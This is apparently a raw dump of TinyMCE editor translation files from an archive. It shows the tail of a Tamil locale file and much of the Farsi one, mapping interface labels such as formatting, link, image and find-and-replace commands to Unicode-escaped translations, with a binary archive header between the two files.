"Finding word suggestions": "\u0b9a\u0bca\u0bb2\u0bcd \u0baa\u0bb0\u0bbf\u0ba8\u0bcd\u0ba4\u0bc1\u0bb0\u0bc8\u0b95\u0bb3\u0bcd \u0b95\u0ba3\u0bcd\u0b9f\u0bb1\u0bbf\u0baf\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0b95\u0bbf\u0bb1\u0ba4\u0bc1",
"Success": "\u0bb5\u0bc6\u0bb1\u0bcd\u0bb1\u0bbf",
"Repair": "\u0b9a\u0bb0\u0bbf \u0b9a\u0bc6\u0baf\u0bcd\u0b95",
"Issue {0} of {1}": "\u0baa\u0bbf\u0bb0\u0b9a\u0bcd\u0b9a\u0bbf\u0ba9\u0bc8 {0} \/ {1}",
"Images must be marked as decorative or have an alternative text description": "\u0baa\u0b9f\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b85\u0bb2\u0b99\u0bcd\u0b95\u0bbe\u0bb0\u0bae\u0bbe\u0b95 \u0b95\u0bc1\u0bb1\u0bbf\u0b95\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0b9f \u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bcd \u0b85\u0bb2\u0bcd\u0bb2\u0ba4\u0bc1 \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1 \u0b89\u0bb0\u0bc8 \u0bb5\u0bbf\u0bb3\u0b95\u0bcd\u0b95\u0ba4\u0bcd\u0ba4\u0bc8 \u0b95\u0bca\u0ba3\u0bcd\u0b9f\u0bbf\u0bb0\u0bc1\u0b95\u0bcd\u0b95 \u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bcd",
"Images must have an alternative text description. Decorative images are not allowed.": "\u0baa\u0b9f\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1 \u0b89\u0bb0\u0bc8 \u0bb5\u0bbf\u0bb3\u0b95\u0bcd\u0b95\u0ba4\u0bcd\u0ba4\u0bc8 \u0b95\u0bca\u0ba3\u0bcd\u0b9f\u0bbf\u0bb0\u0bc1\u0b95\u0bcd\u0b95 \u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bcd. \u0b85\u0bb2\u0b99\u0bcd\u0b95\u0bbe\u0bb0\u0baa\u0bcd \u0baa\u0b9f\u0b99\u0bcd\u0b95\u0bb3\u0bc1\u0b95\u0bcd\u0b95\u0bc1 \u0b85\u0ba9\u0bc1\u0bae\u0ba4\u0bbf\u0baf\u0bbf\u0bb2\u0bcd\u0bb2\u0bc8.",
"Or provide alternative text:": "\u0b85\u0bb2\u0bcd\u0bb2\u0ba4\u0bc1 \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1 \u0b89\u0bb0\u0bc8\u0baf\u0bc8 \u0bb5\u0bb4\u0b99\u0bcd\u0b95\u0bb5\u0bc1\u0bae\u0bcd",
"Make image decorative:": "\u0baa\u0b9f\u0ba4\u0bcd\u0ba4\u0bc8 \u0b85\u0bb2\u0b99\u0bcd\u0b95\u0bbe\u0bb0\u0bae\u0bbe\u0ba9\u0ba4\u0bbe\u0b95\u0bcd\u0b95\u0bc1\u0b95",
"ID attribute must be unique": "ID \u0baa\u0ba3\u0bcd\u0baa\u0bc1 \u0ba4\u0ba9\u0bbf\u0ba4\u0bcd\u0ba4\u0bc1\u0bb5\u0bae\u0bbe\u0b95 \u0b87\u0bb0\u0bc1\u0ba4\u0bcd\u0ba4\u0bb2\u0bcd \u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bcd",
"Make ID unique": "ID-\u0baf\u0bc8 \u0ba4\u0ba9\u0bbf\u0ba4\u0bcd\u0ba4\u0bc1\u0bb5\u0bae\u0bbe\u0b95\u0bcd\u0b95\u0bc1\u0b95",
"Keep this ID and remove all others": "\u0b87\u0ba8\u0bcd\u0ba4 ID-\u0baf\u0bc8 \u0bb5\u0bc8\u0ba4\u0bcd\u0ba4\u0bc1\u0b95\u0bcd\u0b95\u0bca\u0ba3\u0bcd\u0b9f\u0bc1 \u0bae\u0bb1\u0bcd\u0bb1 \u0b85\u0ba9\u0bc8\u0ba4\u0bcd\u0ba4\u0bc8\u0baf\u0bc1\u0bae\u0bcd \u0b85\u0b95\u0bb1\u0bcd\u0bb1\u0bb5\u0bc1\u0bae\u0bcd",
"Remove this ID": "\u0b87\u0ba8\u0bcd\u0ba4 ID \u0b85\u0b95\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Remove all IDs": "\u0b85\u0ba9\u0bc8\u0ba4\u0bcd\u0ba4\u0bc1 ID-\u0b95\u0bb3\u0bc8\u0baf\u0bc1\u0bae\u0bcd \u0b85\u0b95\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Checklist": "\u0b9a\u0bb0\u0bbf\u0baa\u0bbe\u0bb0\u0bcd\u0baa\u0bcd\u0baa\u0bc1 \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bb2\u0bcd",
"Anchor": "\u0ba8\u0b99\u0bcd\u0b95\u0bc2\u0bb0\u0bae\u0bcd",
"Special character": "\u0b9a\u0bbf\u0bb1\u0baa\u0bcd\u0baa\u0bc1 \u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0bb0\u0bc1",
"Code sample": "\u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bc1 \u0bae\u0bbe\u0ba4\u0bbf\u0bb0\u0bbf",
"Color": "\u0ba8\u0bbf\u0bb1\u0bae\u0bcd",
"Document properties": "\u0b86\u0bb5\u0ba3\u0ba4\u0bcd\u0ba4\u0bbf\u0ba9\u0bcd \u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Image description": "\u0baa\u0b9f \u0bb5\u0bbf\u0bb5\u0bb0\u0bae\u0bcd",
"Image": "\u0baa\u0b9f\u0bae\u0bcd",
"Insert link": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Target": "\u0b87\u0bb2\u0b95\u0bcd\u0b95\u0bc1",
"Link": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1",
"Poster": "\u0b9a\u0bc1\u0bb5\u0bb0\u0bca\u0b9f\u0bcd\u0b9f\u0bbf",
"Media": "\u0b8a\u0b9f\u0b95\u0bae\u0bcd",
"Print": "\u0b85\u0b9a\u0bcd\u0b9a\u0bbf\u0b9f\u0bc1\u0b95",
"Prev": "\u0bae\u0bc1\u0ba8\u0bcd\u0ba4\u0bc8\u0baf",
"Find and replace": "\u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0ba4\u0bcd\u0ba4\u0bc1 \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Whole words": "\u0bae\u0bc1\u0bb4\u0bc1 \u0b9a\u0bca\u0bb1\u0bcd\u0b95\u0bb3\u0bcd",
"Insert template": "\u0bb5\u0bbe\u0bb0\u0bcd\u0baa\u0bcd\u0baa\u0bc1\u0bb0\u0bc1 \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95"
});PK
h�\�k)����program/js/tinymce/langs/fa.jsnu�[���tinymce.addI18n('fa',{
"Redo": "\u0628\u0627\u0632\u0627\u0646\u062c\u0627\u0645",
"Undo": "\u0648\u0627\u06af\u0631\u062f",
"Cut": "\u0628\u0631\u0634",
"Copy": "\u06a9\u067e\u06cc",
"Paste": "\u0686\u0633\u0628\u0627\u0646\u062f\u0646",
"Select all": "\u0627\u0646\u062a\u062e\u0627\u0628 \u0647\u0645\u0647",
"New document": "\u0633\u0646\u062f \u062c\u062f\u06cc\u062f",
"Ok": "\u062a\u0623\u06cc\u06cc\u062f",
"Cancel": "\u0644\u063a\u0648",
"Visual aids": "\u06a9\u0645\u06a9\u200c\u0647\u0627\u06cc \u0628\u0635\u0631\u06cc",
"Bold": "\u067e\u0631\u0631\u0646\u06af",
"Italic": "\u06a9\u062c",
"Underline": "\u0632\u06cc\u0631 \u062e\u0637 \u062f\u0627\u0631",
"Strikethrough": "\u062e\u0637 \u0632\u062f\u0646",
"Superscript": "\u0628\u0627\u0644\u0627\u0646\u06af\u0627\u0634\u062a",
"Subscript": "\u0632\u06cc\u0631\u0646\u06af\u0627\u0634\u062a",
"Clear formatting": "\u067e\u0627\u06a9 \u06a9\u0631\u062f\u0646 \u0642\u0627\u0644\u0628\u200c\u0628\u0646\u062f\u06cc",
"Align left": "\u062a\u0631\u0627\u0632\u0628\u0646\u062f\u06cc \u0627\u0632 \u0686\u067e",
"Align center": "\u062a\u0631\u0627\u0632\u0628\u0646\u062f\u06cc \u0627\u0632 \u0648\u0633\u0637",
"Align right": "\u062a\u0631\u0627\u0632\u0628\u0646\u062f\u06cc \u0627\u0632 \u0631\u0627\u0633\u062a",
"Justify": "\u062a\u0631\u0627\u0632\u0628\u0646\u062f\u06cc \u062f\u0648\u0637\u0631\u0641\u0647",
"Bullet list": "\u0641\u0647\u0631\u0633\u062a \u0646\u0634\u0627\u0646\u0647\u200c\u062f\u0627\u0631",
"Numbered list": "\u0641\u0647\u0631\u0633\u062a \u0634\u0645\u0627\u0631\u0647\u200c\u062f\u0627\u0631",
"Decrease indent": "\u06a9\u0627\u0647\u0634 \u062a\u0648\u0631\u0641\u062a\u06af\u06cc",
"Increase indent": "\u0627\u0641\u0632\u0627\u06cc\u0634 \u062a\u0648\u0631\u0641\u062a\u06af\u06cc",
"Close": "\u0628\u0633\u062a\u0646",
"Formats": "\u0642\u0627\u0644\u0628\u200c\u0628\u0646\u062f\u06cc\u200c\u0647\u0627",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0645\u0631\u0648\u0631\u06af\u0631 \u0634\u0645\u0627 \u0627\u0632 \u062f\u0633\u062a\u0631\u0633\u06cc \u0645\u0633\u062a\u0642\u06cc\u0645 \u0628\u0647 \u06a9\u0644\u06cc\u067e\u200c\u0628\u0648\u0631\u062f \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0646\u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0644\u0637\u0641\u0627\u064b \u0627\u0632 \u0645\u06cc\u0627\u0646\u0628\u0631\u0647\u0627\u06cc Ctrl+X\/C\/V \u0635\u0641\u062d\u0647 \u06a9\u0644\u06cc\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f.",
"Headers": "\u0633\u0631\u0628\u0631\u06af\u200c\u0647\u0627",
"Header 1": "\u0633\u0631\u0628\u0631\u06af 1",
"Header 2": "\u0633\u0631\u0628\u0631\u06af 2",
"Header 3": "\u0633\u0631\u0628\u0631\u06af 3",
"Header 4": "\u0633\u0631\u0628\u0631\u06af 4",
"Header 5": "\u0633\u0631\u0628\u0631\u06af 5",
"Header 6": "\u0633\u0631\u0628\u0631\u06af 6",
"Headings": "\u0633\u0631\u0641\u0635\u0644\u200c\u0647\u0627",
"Heading 1": "\u0633\u0631\u0641\u0635\u0644 1",
"Heading 2": "\u0633\u0631\u0641\u0635\u0644 2",
"Heading 3": "\u0633\u0631\u0641\u0635\u0644 3",
"Heading 4": "\u0633\u0631\u0641\u0635\u0644 4",
"Heading 5": "\u0633\u0631\u0641\u0635\u0644 5",
"Heading 6": "\u0633\u0631\u0641\u0635\u0644 6",
"Preformatted": "\u0627\u0632 \u067e\u06cc\u0634 \u0642\u0627\u0644\u0628\u200c\u0628\u0646\u062f\u06cc\u200c\u0634\u062f\u0647",
"Div": "\u0628\u062e\u0634",
"Pre": "\u067e\u06cc\u0634",
"Code": "\u06a9\u062f",
"Paragraph": "\u067e\u0627\u0631\u0627\u06af\u0631\u0627\u0641",
"Blockquote": "\u0646\u0642\u0644 \u0642\u0648\u0644 \u0628\u0644\u0648\u06a9\u06cc",
"Inline": "\u0647\u0645\u200c\u0631\u0627\u0633\u062a\u0627",
"Blocks": "\u0628\u0644\u0648\u06a9\u200c\u0647\u0627",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0647\u0645 \u0627\u06a9\u0646\u0648\u0646 \u062f\u0631 \u062d\u0627\u0644\u062a \u0645\u062a\u0646 \u0633\u0627\u062f\u0647 \u0627\u0633\u062a. \u062a\u0627 \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0627\u06cc\u0646 \u062d\u0627\u0644\u062a \u0631\u0627 \u063a\u06cc\u0631\u200c\u0641\u0639\u0627\u0644 \u0646\u06a9\u0646\u06cc\u062f\u060c \u0645\u062d\u062a\u0648\u0627 \u062f\u0631 \u062d\u0627\u0644\u062a \u0645\u062a\u0646 \u0633\u0627\u062f\u0647 \u0627\u0636\u0627\u0641\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f.",
"Fonts": "\u0641\u0648\u0646\u062a\u200c\u200c\u0647\u0627",
"Font Sizes": "\u0627\u0646\u062f\u0627\u0632\u0647\u0654 \u0641\u0648\u0646\u062a",
"Class": "\u0637\u0628\u0642\u0647",
"Browse for an image": "\u06af\u0634\u062a\u0646 \u0628\u0631\u0627\u06cc \u0639\u06a9\u0633 \u0645\u0648\u0631\u062f \u0646\u0638\u0631",
"OR": "OR",
"Drop an image here": "\u062a\u0635\u0648\u06cc\u0631 \u0645\u0648\u0631\u062f \u0646\u0638\u0631 \u0631\u0627 \u0627\u06cc\u0646\u062c\u0627 \u0631\u0647\u0627 \u06a9\u0646\u06cc\u062f",
"Upload": "\u0622\u067e\u0644\u0648\u062f",
"Block": "\u0628\u0644\u0648\u06a9",
"Align": "\u062a\u0631\u0627\u0632\u0628\u0646\u062f\u06cc",
"Default": "\u067e\u06cc\u0634\u0641\u0631\u0636",
"Circle": "\u062f\u0627\u06cc\u0631\u0647",
"Disc": "\u062f\u06cc\u0633\u06a9",
"Square": "\u0645\u0631\u0628\u0639",
"Lower Alpha": "\u0622\u0644\u0641\u0627\u0621 \u06a9\u0648\u0686\u06a9",
"Lower Greek": "\u06cc\u0648\u0646\u0627\u0646\u06cc \u06a9\u0648\u0686\u06a9",
"Lower Roman": "\u0631\u0648\u0645\u06cc \u06a9\u0648\u0686\u06a9",
"Upper Alpha": "\u0622\u0644\u0641\u0627\u0621 \u0628\u0632\u0631\u06af",
"Upper Roman": "\u0631\u0648\u0645\u06cc \u0628\u0632\u0631\u06af",
"Anchor...": "\u0642\u0644\u0627\u0628...",
"Name": "\u0646\u0627\u0645",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.",
"You have unsaved changes are you sure you want to navigate away?": "\u0634\u0645\u0627 \u062a\u063a\u06cc\u06cc\u0631\u0627\u062a \u0630\u062e\u06cc\u0631\u0647 \u0646\u0634\u062f\u0647 \u0627\u06cc \u062f\u0627\u0631\u06cc\u062f\u060c \u0622\u06cc\u0627 \u0645\u0637\u0645\u0626\u0646\u06cc\u062f \u06a9\u0647 \u0645\u06cc\u062e\u0648\u0627\u0647\u06cc\u062f \u0627\u0632 \u0627\u06cc\u0646 \u0635\u0641\u062d\u0647 \u0628\u0631\u0648\u06cc\u062f\u061f",
"Restore last draft": "\u0628\u0627\u0632\u06af\u0631\u062f\u0627\u0646\u062f\u0646 \u0622\u062e\u0631\u06cc\u0646 \u067e\u06cc\u0634 \u0646\u0648\u06cc\u0633",
"Special character...": "\u0646\u0648\u06cc\u0633\u06c0 \u0648\u06cc\u0698\u0647...",
"Source code": "\u06a9\u062f \u0645\u0646\u0628\u0639",
"Insert\/Edit code sample": "Insert\/Edit code sample",
"Language": "Language",
"Code sample...": "\u0646\u0645\u0648\u0646\u0647 \u06a9\u062f...",
"Color Picker": "\u0627\u0646\u062a\u062e\u0627\u0628\u200c\u06a9\u0646\u0646\u062f\u0647 \u0631\u0646\u06af",
"R": "\u0642\u0631\u0645\u0632",
"G": "\u0633\u0628\u0632",
"B": "\u0622\u0628\u06cc",
"Left to right": "\u0686\u067e \u0628\u0647 \u0631\u0627\u0633\u062a",
"Right to left": "\u0631\u0627\u0633\u062a \u0628\u0647 \u0686\u067e",
"Emoticons": "\u0634\u06a9\u0644\u06a9\u200c\u0647\u0627",
"Emoticons...": "\u0635\u0648\u0631\u062a\u06a9\u200c\u0647\u0627...",
"Metadata and Document Properties": "\u0641\u0631\u0627\u062f\u0627\u062f\u0647 \u0648 \u0645\u0634\u062e\u0635\u0627\u062a \u0633\u0646\u062f",
"Title": "\u0639\u0646\u0648\u0627\u0646",
"Keywords": "\u06a9\u0644\u0645\u0627\u062a \u06a9\u0644\u06cc\u062f\u06cc",
"Description": "\u062a\u0648\u0636\u06cc\u062d\u0627\u062a",
"Robots": "\u0631\u0628\u0627\u062a\u200c\u0647\u0627",
"Author": "\u0646\u0648\u06cc\u0633\u0646\u062f\u0647",
"Encoding": "\u06a9\u062f \u06af\u0630\u0627\u0631\u06cc",
"Fullscreen": "\u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647",
"Action": "\u0627\u0642\u062f\u0627\u0645",
"Shortcut": "\u0645\u06cc\u0627\u0646\u0628\u0631",
"Help": "\u0631\u0627\u0647\u0646\u0645\u0627",
"Address": "\u0622\u062f\u0631\u0633",
"Focus to menubar": "\u062a\u0645\u0631\u06a9\u0632 \u0628\u0631 \u0646\u0648\u0627\u0631 \u0645\u0646\u0648",
"Focus to toolbar": "\u062a\u0645\u0631\u06a9\u0632 \u0628\u0631 \u0646\u0648\u0627\u0631 \u0627\u0628\u0632\u0627\u0631",
"Focus to element path": "\u062a\u0645\u0631\u06a9\u0632 \u0628\u0631 \u0645\u0633\u06cc\u0631 \u0627\u0644\u0645\u0627\u0646",
"Focus to contextual toolbar": "\u062a\u0645\u0631\u06a9\u0632 \u0628\u0631 \u0646\u0648\u0627\u0631 \u0627\u0628\u0632\u0627\u0631 \u0628\u0627\u0641\u062a\u0627\u0631\u06cc",
"Insert link (if link plugin activated)": "\u062f\u0631\u062c \u067e\u06cc\u0648\u0646\u062f (\u062f\u0631 \u0635\u0648\u0631\u062a \u0641\u0639\u0627\u0644 \u0628\u0648\u062f\u0646 \u0627\u0641\u0632\u0648\u0646\u0647\u0654 \u067e\u06cc\u0648\u0646\u062f)",
"Save (if save plugin activated)": "\u0630\u062e\u06cc\u0631\u0647\u00a0(\u062f\u0631 \u0635\u0648\u0631\u062a \u0641\u0639\u0627\u0644 \u0628\u0648\u062f\u0646 \u0627\u0641\u0632\u0648\u0646\u0647\u0654 \u0630\u062e\u06cc\u0631\u0647)",
"Find (if searchreplace plugin activated)": "\u06cc\u0627\u0641\u062a\u0646 (\u062f\u0631 \u0635\u0648\u0631\u062a \u0641\u0639\u0627\u0644 \u0628\u0648\u062f\u0646 \u0627\u0641\u0632\u0648\u0646\u0647\u0654 \u062c\u0633\u062a\u062c\u0648\/\u062c\u0627\u06cc\u06af\u0632\u06cc\u0646\u06cc)",
"Plugins installed ({0}):": "\u0627\u0641\u0632\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u0646\u0635\u0628\u200c\u0634\u062f\u0647 ({0}):",
"Premium plugins:": "\u0627\u0641\u0632\u0648\u0646\u0647\u200c\u0647\u0627\u06cc \u067e\u0648\u0644\u06cc:",
"Learn more...": "\u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0628\u06cc\u0634\u062a\u0631...",
"You are using {0}": "\u062f\u0631 \u062d\u0627\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 {0} \u0647\u0633\u062a\u06cc\u062f",
"Plugins": "\u0627\u0641\u0632\u0648\u0646\u0647\u200c\u0647\u0627",
"Handy Shortcuts": "\u0645\u06cc\u0627\u0646\u0628\u0631\u0647\u0627\u06cc \u0645\u0641\u06cc\u062f",
"Horizontal line": "\u062e\u0637 \u0627\u0641\u0642\u06cc",
"Insert\/edit image": "\u0627\u0636\u0627\u0641\u0647\/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u06a9\u0631\u062f\u0646 \u062a\u0635\u0648\u06cc\u0631",
"Alternative description": "\u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646",
"Accessibility": "\u062f\u0633\u062a\u0631\u0633\u06cc",
"Image is decorative": "\u0627\u06cc\u0646 \u062a\u0635\u0648\u06cc\u0631 \u062f\u06a9\u0648\u0631\u06cc \u0627\u0633\u062a",
"Source": "\u0645\u0646\u0628\u0639",
"Dimensions": "\u0627\u0628\u0639\u0627\u062f",
"Constrain proportions": "\u062d\u0641\u0638 \u062a\u0646\u0627\u0633\u0628",
"General": "\u0639\u0645\u0648\u0645\u06cc",
"Advanced": "\u067e\u06cc\u0634\u0631\u0641\u062a\u0647",
"Style": "\u0633\u0628\u06a9",
"Vertical space": "\u0641\u0636\u0627\u06cc \u0639\u0645\u0648\u062f\u06cc",
"Horizontal space": "\u0641\u0636\u0627\u06cc \u0627\u0641\u0642\u06cc",
"Border": "\u062d\u0627\u0634\u06cc\u0647",
"Insert image": "\u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0646 \u062a\u0635\u0648\u06cc\u0631",
"Image...": "\u062a\u0635\u0648\u06cc\u0631...",
"Image list": "\u0641\u0647\u0631\u0633\u062a \u062a\u0635\u0648\u06cc\u0631",
"Rotate counterclockwise": "Rotate counterclockwise",
"Rotate clockwise": "Rotate clockwise",
"Flip vertically": "Flip vertically",
"Flip horizontally": "Flip horizontally",
"Edit image": "Edit image",
"Image options": "Image options",
"Zoom in": "Zoom in",
"Zoom out": "Zoom out",
"Crop": "Crop",
"Resize": "Resize",
"Orientation": "Orientation",
"Brightness": "Brightness",
"Sharpen": "Sharpen",
"Contrast": "Contrast",
"Color levels": "Color levels",
"Gamma": "Gamma",
"Invert": "Invert",
"Apply": "Apply",
"Back": "Back",
"Insert date\/time": "\u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0646 \u062a\u0627\u0631\u06cc\u062e\/\u0632\u0645\u0627\u0646",
"Date\/time": "Date\/time",
"Insert\/edit link": "\u0627\u0636\u0627\u0641\u0647\/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u06a9\u0631\u062f\u0646 \u0644\u06cc\u0646\u06a9",
"Text to display": "\u0645\u062a\u0646 \u0628\u0631\u0627\u06cc \u0646\u0645\u0627\u06cc\u0634",
"Url": "\u0627\u062f\u0631\u0633 \u0644\u06cc\u0646\u06a9",
"Open link in...": "\u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u067e\u06cc\u0648\u0646\u062f \u062f\u0631...",
"Current window": "\u067e\u0646\u062c\u0631\u0647 \u062c\u0627\u0631\u06cc",
"None": "\u0647\u06cc\u0686 \u06a9\u062f\u0627\u0645",
"New window": "\u067e\u0646\u062c\u0631\u0647 \u062c\u062f\u06cc\u062f",
"Open link": "\u0628\u0627\u0632\u06a9\u0631\u062f\u0646 \u0644\u06cc\u0646\u06a9",
"Remove link": "\u062d\u0630\u0641 \u0644\u06cc\u0646\u06a9",
"Anchors": "\u0644\u0646\u06af\u0631 - \u0644\u06cc\u0646\u06a9 \u062f\u0627\u062e\u0644 \u0635\u0641\u062d\u0647",
"Link...": "\u067e\u06cc\u0648\u0646\u062f...",
"Paste or type a link": "Paste or type a link",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "\u0622\u062f\u0631\u0633 \u0627\u06cc\u0646\u062a\u0631\u0646\u062a\u06cc \u06a9\u0647 \u0634\u0645\u0627 \u0648\u0627\u0631\u062f \u06a9\u0631\u062f\u0647 \u0627\u06cc\u062f \u06af\u0648\u06cc\u0627 \u06cc\u06a9 \u0622\u062f\u0631\u0633 \u0627\u06cc\u0646\u062a\u0631\u0646\u062a\u06cc \u062e\u0627\u0631\u062c\u06cc \u0627\u0633\u062a. \u0622\u06cc\u0627 \u0645\u06cc\u062e\u0648\u0627\u0647\u06cc\u062f \u06a9\u0647 \u067e\u06cc\u0634\u0648\u0646\u062f \u0636\u0631\u0648\u0631\u06cc https:\/\/ \u0627\u0636\u0627\u0641\u0647 \u06a9\u0646\u0645\u061f",
"Link list": "\u0641\u0647\u0631\u0633\u062a \u067e\u06cc\u0648\u0646\u062f\u0647\u0627",
"Insert video": "\u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0646 \u0641\u0627\u06cc\u0644 \u062a\u0635\u0648\u06cc\u0631\u06cc",
"Insert\/edit video": "\u0627\u0636\u0627\u0641\u0647\/\u0648\u06cc\u0631\u0627\u06cc\u0634 \u06a9\u0631\u062f\u0646 \u0641\u0627\u06cc\u0644 \u062a\u0635\u0648\u06cc\u0631\u06cc",
"Insert\/edit media": "Insert\/edit media",
"Alternative source": "\u0645\u0646\u0628\u0639 \u062f\u06cc\u06af\u0631",
"Alternative source URL": "\u0646\u0634\u0627\u0646\u06cc \u0648\u0628 \u0645\u0646\u0628\u0639 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646",
"Media poster (Image URL)": "\u067e\u0648\u0633\u062a\u0631 \u0631\u0633\u0627\u0646\u0647 (\u0646\u0634\u0627\u0646\u06cc \u0648\u0628 \u062a\u0635\u0648\u06cc\u0631)",
"Paste your embed code below:": "\u06a9\u062f \u062e\u0648\u062f \u0631\u0627 \u0628\u0631\u0627\u06cc \u062c\u0627 \u062f\u0627\u062f\u0646 \u062f\u0631 \u0633\u0627\u06cc\u062a - embed - \u060c \u062f\u0631 \u0632\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0647\u06cc\u062f:",
"Embed": "\u062c\u0627 \u062f\u0627\u062f\u0646",
"Media...": "\u0631\u0633\u0627\u0646\u0647...",
"Nonbreaking space": "\u0641\u0636\u0627\u06cc \u063a\u06cc\u0631 \u0634\u06a9\u0633\u062a\u0646",
"Page break": "\u0634\u06a9\u0633\u062a\u0646 \u0635\u0641\u062d\u0647",
"Paste as text": "\u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0645\u062a\u0646",
"Preview": "\u067e\u06cc\u0634 \u0646\u0645\u0627\u06cc\u0634",
"Print...": "\u0686\u0627\u067e...",
"Save": "\u0630\u062e\u06cc\u0631\u0647",
"Find": "\u062c\u0633\u062a\u200c\u0648\u200c\u062c\u0648",
"Replace with": "\u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u06a9\u0631\u062f\u0646 \u0628\u0627",
"Replace": "\u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u06a9\u0631\u062f\u0646",
"Replace all": "\u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u06a9\u0631\u062f\u0646 \u0647\u0645\u0647",
"Previous": "\u0642\u0628\u0644\u06cc",
"Next": "\u0628\u0639\u062f\u06cc",
"Find and Replace": "\u062c\u0633\u062a\u200c\u0648\u200c\u062c\u0648 \u0648 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u06a9\u0631\u062f\u0646",
"Find and replace...": "\u06cc\u0627\u0641\u062a\u0646 \u0648 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u06a9\u0631\u062f\u0646...",
"Could not find the specified string.": "\u0631\u0634\u062a\u0647 \u0645\u062a\u0646\u06cc \u0645\u0648\u0631\u062f \u0646\u0638\u0631 \u067e\u06cc\u062f\u0627 \u0646\u0634\u062f.",
"Match case": "\u062d\u0633\u0627\u0633 \u0628\u0647 \u062d\u0631\u0648\u0641 \u06a9\u0648\u0686\u06a9 \u0648 \u0628\u0632\u0631\u06af",
"Find whole words only": "\u06cc\u0627\u0641\u062a\u0646 \u062f\u0642\u06cc\u0642\u0627\u064b \u06a9\u0644 \u0648\u0627\u0698\u0647",
"Find in selection": "\u062f\u0631 \u06af\u0644\u0686\u06cc\u0646 \u0628\u06cc\u0627\u0628\u06cc\u062f",
"Spellcheck": "\u0628\u0631\u0631\u0633\u06cc \u0627\u0645\u0644\u0627\u06cc\u06cc",
"Spellcheck Language": "\u0632\u0628\u0627\u0646 \u0686\u06a9 \u0627\u0633\u067e\u0644\u06cc\u0646\u06af",
"No misspellings found.": "\u063a\u0644\u0637 \u0627\u0645\u0644\u0627\u06cc\u06cc \u06cc\u0627\u0641\u062a \u0646\u0634\u062f.",
"Ignore": "\u0646\u0627\u062f\u06cc\u062f\u0647 \u06af\u0631\u0641\u062a\u0646",
"Ignore all": "\u0646\u0627\u062f\u06cc\u062f\u0647 \u06af\u0631\u0641\u062a\u0646 \u0647\u0645\u0647",
"Finish": "\u067e\u0627\u06cc\u0627\u0646",
"Add to Dictionary": "Add to Dictionary",
"Insert table": "\u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0646 \u062c\u062f\u0648\u0644",
"Table properties": "\u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc \u062c\u062f\u0648\u0644",
"Delete table": "\u062d\u0630\u0641 \u062c\u062f\u0648\u0644",
"Cell": "\u0633\u0644\u0648\u0644",
"Row": "\u0633\u0637\u0631",
"Column": "\u0633\u062a\u0648\u0646",
